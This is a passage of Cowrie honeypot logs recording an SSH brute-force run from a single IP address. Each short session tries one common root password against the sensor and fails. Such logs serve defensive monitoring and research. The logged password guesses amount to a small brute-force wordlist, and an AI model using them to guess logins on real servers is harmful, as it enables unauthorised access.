{"eventid":"cowrie.login.failed","username":"root","password":"zaq12WSX","message":"login attempt [root/zaq12WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:48.224523Z","src_ip":"60.165.124.241","session":"0e317034a911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:49.497790Z","src_ip":"60.165.124.241","session":"0e317034a911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39162,"dst_ip":"10.17.0.5","dst_port":22,"session":"8014b35d5a63","protocol":"ssh","message":"New connection: 60.165.124.241:39162 (10.17.0.5:22) [session: 8014b35d5a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:49.715257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:49.719089Z","src_ip":"60.165.124.241","session":"8014b35d5a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:49.958494Z","src_ip":"60.165.124.241","session":"8014b35d5a63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147258!","message":"login attempt [root/Aa147258!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:50.699519Z","src_ip":"60.165.124.241","session":"8014b35d5a63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:51.941274Z","src_ip":"60.165.124.241","session":"8014b35d5a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42098,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c664a8ea70d","protocol":"ssh","message":"New connection: 60.165.124.241:42098 (10.17.0.5:22) [session: 1c664a8ea70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:52.181697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:52.186066Z","src_ip":"60.165.124.241","session":"1c664a8ea70d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:52.432340Z","src_ip":"60.165.124.241","session":"1c664a8ea70d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"King@2022","message":"login attempt [root/King@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:53.176815Z","src_ip":"60.165.124.241","session":"1c664a8ea70d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:54.417547Z","src_ip":"60.165.124.241","session":"1c664a8ea70d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44908,"dst_ip":"10.17.0.5","dst_port":22,"session":"d700c3819cec","protocol":"ssh","message":"New connection: 60.165.124.241:44908 (10.17.0.5:22) [session: d700c3819cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:54.667243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:54.672319Z","src_ip":"60.165.124.241","session":"d700c3819cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:54.918261Z","src_ip":"60.165.124.241","session":"d700c3819cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password2017","message":"login attempt [root/Password2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:55.667238Z","src_ip":"60.165.124.241","session":"d700c3819cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:56.918502Z","src_ip":"60.165.124.241","session":"d700c3819cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47998,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf8effe3b745","protocol":"ssh","message":"New connection: 60.165.124.241:47998 (10.17.0.5:22) [session: bf8effe3b745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:57.143990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:57.148852Z","src_ip":"60.165.124.241","session":"bf8effe3b745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:57.386132Z","src_ip":"60.165.124.241","session":"bf8effe3b745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newton","message":"login attempt [root/newton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:58.109761Z","src_ip":"60.165.124.241","session":"bf8effe3b745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:59.367406Z","src_ip":"60.165.124.241","session":"bf8effe3b745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50796,"dst_ip":"10.17.0.5","dst_port":22,"session":"225f943f200c","protocol":"ssh","message":"New connection: 60.165.124.241:50796 (10.17.0.5:22) [session: 225f943f200c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:59.621391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:59.625926Z","src_ip":"60.165.124.241","session":"225f943f200c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:43:59.876188Z","src_ip":"60.165.124.241","session":"225f943f200c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@01","message":"login attempt [root/Admin@01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:00.631452Z","src_ip":"60.165.124.241","session":"225f943f200c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:01.886820Z","src_ip":"60.165.124.241","session":"225f943f200c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53896,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b2d05b68fc8","protocol":"ssh","message":"New connection: 60.165.124.241:53896 (10.17.0.5:22) [session: 6b2d05b68fc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:02.113152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:02.118317Z","src_ip":"60.165.124.241","session":"6b2d05b68fc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:02.363185Z","src_ip":"60.165.124.241","session":"6b2d05b68fc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@s5w0rd","message":"login attempt [root/p@s5w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:03.096595Z","src_ip":"60.165.124.241","session":"6b2d05b68fc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:04.345537Z","src_ip":"60.165.124.241","session":"6b2d05b68fc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56746,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d600bc6d55","protocol":"ssh","message":"New connection: 60.165.124.241:56746 (10.17.0.5:22) [session: 81d600bc6d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:04.595784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:04.599708Z","src_ip":"60.165.124.241","session":"81d600bc6d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:04.837203Z","src_ip":"60.165.124.241","session":"81d600bc6d55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Blue!12345","message":"login attempt [root/Blue!12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:05.561828Z","src_ip":"60.165.124.241","session":"81d600bc6d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:06.814454Z","src_ip":"60.165.124.241","session":"81d600bc6d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59824,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b5a7806aabb","protocol":"ssh","message":"New connection: 60.165.124.241:59824 (10.17.0.5:22) [session: 0b5a7806aabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:07.059134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:07.064523Z","src_ip":"60.165.124.241","session":"0b5a7806aabb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:07.314674Z","src_ip":"60.165.124.241","session":"0b5a7806aabb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234%^&*gg","message":"login attempt [root/1234%^&*gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:08.063796Z","src_ip":"60.165.124.241","session":"0b5a7806aabb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:09.313534Z","src_ip":"60.165.124.241","session":"0b5a7806aabb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34528,"dst_ip":"10.17.0.5","dst_port":22,"session":"730dae6116d2","protocol":"ssh","message":"New connection: 60.165.124.241:34528 (10.17.0.5:22) [session: 730dae6116d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:09.557146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:09.561956Z","src_ip":"60.165.124.241","session":"730dae6116d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-c